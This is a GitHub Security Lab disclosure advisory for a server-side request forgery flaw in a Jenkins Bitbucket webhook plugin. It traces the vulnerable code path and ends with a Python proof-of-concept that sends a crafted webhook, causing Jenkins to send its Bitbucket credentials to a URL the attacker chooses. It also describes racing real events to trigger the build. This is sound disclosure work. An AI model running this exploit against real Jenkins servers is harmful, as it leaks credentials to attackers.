Coordinated Disclosure Timeline

Summary

Bitbucket Push and Pull Request Plugin provides a webhook endpoint at /bitbucket-hook/ that can be used to trigger builds of jobs configured to use a specified repository.

In Bitbucket Plugin 2.8.3 and earlier, when a build is triggered in this way, attackers can force a connection to an arbitrary URL using the configured Bitbucket credentials.

Product

Bitbucket Push and Pull Request Plugin

Tested Version

2.8.3

Details

Server-Side Request Forgery in BitBucketPPRBearerAuthorizationApiConsumer.java (GHSL-2023-114)

The class that handles incoming webhooks at the endpoint /bitbucket-hook/ is BitBucketPPRHookReceiver, specifically its doIndex method. The webhook payload is processed by a BitBucketPPRPayloadProcessor determined by the x-event-key header.

Regardless of the processor used, a build is attempted using the BitBucketPPRJobProbe.triggerMatchingJobs method, which calls triggerScm:

src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/BitBucketPPRJobProbe.java:67

public void triggerMatchingJobs(BitBucketPPRHookEvent bitbucketEvent,
    BitBucketPPRAction bitbucketAction, BitBucketPPRObservable observable) {
  // --snip--
  try (ACLContext ctx = ACL.as(ACL.SYSTEM)) {
    Jenkins.get().getAllItems(Job.class).stream().forEach(job -> {
      try {
        triggerScm(job, remotes, bitbucketEvent, bitbucketAction, observable);
      }
      // --snip--
    });
  }
}

triggerScm checks whether the job in Jenkins has the appropriate SCM trigger and eventually calls BitBucketPPRTrigger.onPost:

src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/BitBucketPPRTrigger.java:112

private void triggerScm(@Nonnull Job<?, ?> job, List<URIish> remotes,
    BitBucketPPRHookEvent bitbucketEvent, BitBucketPPRAction bitbucketAction,
    BitBucketPPRObservable observable) throws TriggerNotSetException {

  BitBucketPPRTrigger bitbucketTrigger = getBitBucketTrigger(job)
      .orElseThrow(() -> new TriggerNotSetException(job.getFullDisplayName()));

  // @todo shouldn't be an instance variable?
  List<SCM> scmTriggered = new ArrayList<>();

  Optional<SCMTriggerItem> item =
      Optional.ofNullable(SCMTriggerItem.SCMTriggerItems.asSCMTriggerItem(job));

  item.ifPresent(it -> it.getSCMs().stream().forEach(scmTrigger -> {
    // --snip--
    if (remotes.stream().anyMatch(p) && !scmTriggered.contains(scmTrigger)) {
      scmTriggered.add(scmTrigger);

      try {
        bitbucketTrigger.onPost(bitbucketEvent, bitbucketAction, scmTrigger, observable);
        return;

      }
      // --snip--
    }
  }));
}

There, a BitBucketPPRPollingRunnable is executed, tasked with polling the remote repository and scheduling the build if more conditions are met in shouldScheduleJob (namely, that the specified repository and branch exist, and that there have been changes since the last build, or builds without changes are allowed in the job). If the check passes, the build is run in scheduleJob:

src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/BitBucketPPRTrigger.java:179

private void scheduleJob(BitBucketPPRTriggerCause cause, BitBucketPPRAction bitbucketAction,
    SCM scmTrigger, BitBucketPPRObservable observable, BitBucketPPRTriggerFilter filter)
    throws URISyntaxException {
  // --snip--
  try {
    // --snip--
    observable.notifyObservers(BitBucketPPREventFactory.createEvent(
        BitBucketPPREventType.BUILD_STARTED,
        new BitBucketPPREventContext(this, bitbucketAction, scmTrigger, startedBuild, filter)));

    Run<?, ?> run = (Run<?, ?>) f.get();

    if (f.isDone()) {
      observable.notifyObservers(
          BitBucketPPREventFactory.createEvent(BitBucketPPREventType.BUILD_FINISHED,
              new BitBucketPPREventContext(this, bitbucketAction, scmTrigger, run, filter)));
    }

  }
  // --snip--
}

What we are interested in are the calls to notifyObservers that happen when the build is triggered and when it finishes:

src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/observer/BitBucketPPRObservable.java#L43

public void notifyObservers(BitBucketPPREvent event) {
  // --snip--

  for (BitBucketPPRObserver observer : this.observers) {
    if (observer != null && event != null) {
      // --snip--
      observer.getNotification(event);
    }
    // --snip--
  }
}

The implementation of getNotification is identical for all BitBucketPPRHandlerTemplates:

e.g. src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/observer/BitBucketPPRPushServerObserver.java:41

public void getNotification(BitBucketPPREvent event) {
  context = event.getContext();
  event.setEventHandler(this);
  event.runHandler();
}

Likewise for the implementations of BitBucketPPREvent.runHandler:

e.g. src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/event/BitBucketPPRBuildStarted.java:45

public void runHandler() {
  try {
    handler.run(BitBucketPPREventType.BUILD_STARTED);
  }
  // --snip--
}

src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/observer/BitBucketPPRHandlerTemplate.java:44

public void run(BitBucketPPREventType eventType) throws Exception {
  BitBucketPPRPluginConfig config = getGlobalConfig();
  switch (eventType) {
    case BUILD_STARTED:
      if (config.shouldNotifyBitBucket()) {
        setBuildStatusInProgress();
      }
      break;
    case BUILD_FINISHED:
      if (config.shouldNotifyBitBucket()) {
        setBuildStatusOnFinished();
        setApprovedOrDeclined();
      }
      break;
    default:
      throw new Exception();
  }
}

setBuildStatusInProgress and setBuildStatusOnFinished are interesting for push events (both cloud and server types), because a notification is sent to a URL (or several) built from data included in the event payload (the getCommitLinks method extracts data from user-provided links JSON objects):

e.g. src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/observer/BitBucketPPRPushServerObserver.java:48

@Override
public void setBuildStatusOnFinished() {
  // --snip--
  bitbucketAction.getCommitLinks().forEach(l -> callClient(l.concat("/statuses/build"), map));
}

@Override
public void setBuildStatusInProgress() {
  // --snip--
  bitbucketAction.getCommitLinks().forEach(l -> callClient(l.concat("/statuses/build"), map));
}

callClient is interesting, because it’s instantiating a BitBucketPPRClient to make an outbound request using the url that comes from the event payload:

src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/observer/BitBucketPPRHandlerTemplate.java:86

protected void callClient(@Nonnull Verb verb, @Nonnull String url,
    @Nonnull Map<String, String> payload) {
  ObjectMapper objectMapper = new ObjectMapper();

  try {
    String jsonPayload = payload.isEmpty() ? "" : objectMapper.writeValueAsString(payload);
    BitBucketPPRClientFactory.createClient(clientType, context).send(verb, url, jsonPayload);
  }
  // --snip--
}

See how the user-provided url object reaches BitBucketPPRClientVisitor.send, the implementations of which eventually use it to make an HTTP request that includes credentials:

src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/client/api/BitBucketPPRBasicAuthApiConsumer.java:27

public HttpResponse send(StandardUsernamePasswordCredentials credentials, Verb verb, String url,
    String payload) throws IOException, NoSuchMethodException {
  logger.finest("Send state notification with StandardUsernamePasswordCredentials");

  final UsernamePasswordCredentials httpAuthCredentials = new UsernamePasswordCredentials(
      credentials.getUsername(), credentials.getPassword().getPlainText());

  final String authHeader =
      getAuthHeader(credentials.getUsername(), credentials.getPassword().getPlainText());

  final org.apache.http.client.CredentialsProvider provider = new BasicCredentialsProvider();
  provider.setCredentials(AuthScope.ANY, httpAuthCredentials);

  final HttpClient client =
      HttpClientBuilder.create().setDefaultCredentialsProvider(provider).build();

  if (verb == Verb.POST) {
    final HttpPost request = new HttpPost(url);
    request.setHeader(HttpHeaders.AUTHORIZATION, authHeader);
    request.setHeader("X-Atlassian-Token", "nocheck");
    // --snip--
    return client.execute(request);
  }

  if (verb == Verb.DELETE) {
    final HttpDelete request = new HttpDelete(url);
    request.setHeader(HttpHeaders.AUTHORIZATION, authHeader);
    request.setHeader("X-Atlassian-Token", "nocheck");
    return client.execute(request);
  }
  throw new NoSuchMethodException();
}

As for pull request events (pullrequest and pr) a path to callClient exists through setApprovedOrDeclined after setBuildStatusOnFinished has run (note that url comes from bitbucketAction.getLinkApprove(), again under user control):

e.g. src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/observer/BitBucketPPRPullRequestServerObserver.java:50

@Override
public void setApprovedOrDeclined() {
  // --snip--
  Result result = context.getRun().getResult();

  BitBucketPPRAction bitbucketAction = context.getAction();
  Map<String, String> map = new HashMap<>();
  String url = null;

  if (context.getFilter().shouldSendApprove()) {
    url = bitbucketAction.getLinkApprove();
    Verb verb = Verb.POST;

    if (result == Result.FAILURE) {
      verb = Verb.DELETE;
    }

    callClient(verb, url, map);
  }
  // --snip--
}

Impact

This vulnerability can lead to credentials leak.

Resources

To reproduce this issue, the following script can be used (assuming there’s a Job in Jenkins with the appropriate Bitbucket SCM trigger configured):

import requests

url = "http://localhost:8080/jenkins/bitbucket-hook/"
headers = {
    "X-Event-Key": "repo:refs_changed"
}
account = {
    "name":  "(username)"
}
repository = {
    "public": False,
    "slug": "(org_name)/(project_name)",
    "id": "",
    "name": "",
    "scmId": "git",
    "state": "",
    "statusMessage": "",
    "forkable": False,
    "project": {
        "key": "",
        "id": "",
        "name": "",
        "links": {
            "html": {
                "href": "https://bitbucket.org/(org_name)/(project_name)/"
            },
            "self": [{
                "href": "http://localhost:8000/(org_name)/(project_name)/"
            }],
            "clone": [{
                "href": "https://bitbucket.org/(org_name)/(project_name)/",
                "name": "https"
            }]
        }
    },
    "links": {
        "html": {
            "href": "https://bitbucket.org/(org_name)/(project_name)/"
        },
        "self": [{
            "href": "https://bitbucket.org/(org_name)/(project_name)/"
        }],
        "clone": [{
            "href": "https://bitbucket.org/(org_name)/(project_name)/",
            "name": "https"
        }]
    }
}
payload = {
    "actor": account,
    "repository": repository,
    "changes": [
        {
            "ref": {
                "id": "",
                "displayId": "",
                "type": ""
            },
            "refId": "",
            "fromHash": "",
            "toHash": "",
            "type": "update"
        }
    ],
    "pullrequest": {
        "author": account,
        "source": {
            "branch": {"name": "main"},
            "repository": repository
        },
        "destination": {
            "branch": {"name": "main"},
            "repository": repository
        }
    }
}
r = requests.post(url, headers=headers, json=payload)
print(r.text)

The SSRF payload is in the repository.project.links.self.href object (a request will be received at localhost:8000 containing the Bitbucket credentials in the Authorization header).

Note that this exploits a server push event type, but as described above, cloud and pull request events can be used too.

Also keep in mind that, for the notification connection to be established, a build must be triggered first. This will only happen if there have been changes in the repository since the last build, or if the SCM trigger is configured in Jenkins to allow builds when nothing changed. In case the configuration requires a change to have happened, an attacker can keep sending the event repeatedly, and try to win a race condition against the actual SCM when a change actually happens and a real webhook event is sent to Jenkins.

CVE

Resources

Credit

This issue was discovered and reported by the GHSL team members @pwntester (Alvaro Muñoz) and @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-114 in any communication regarding this issue.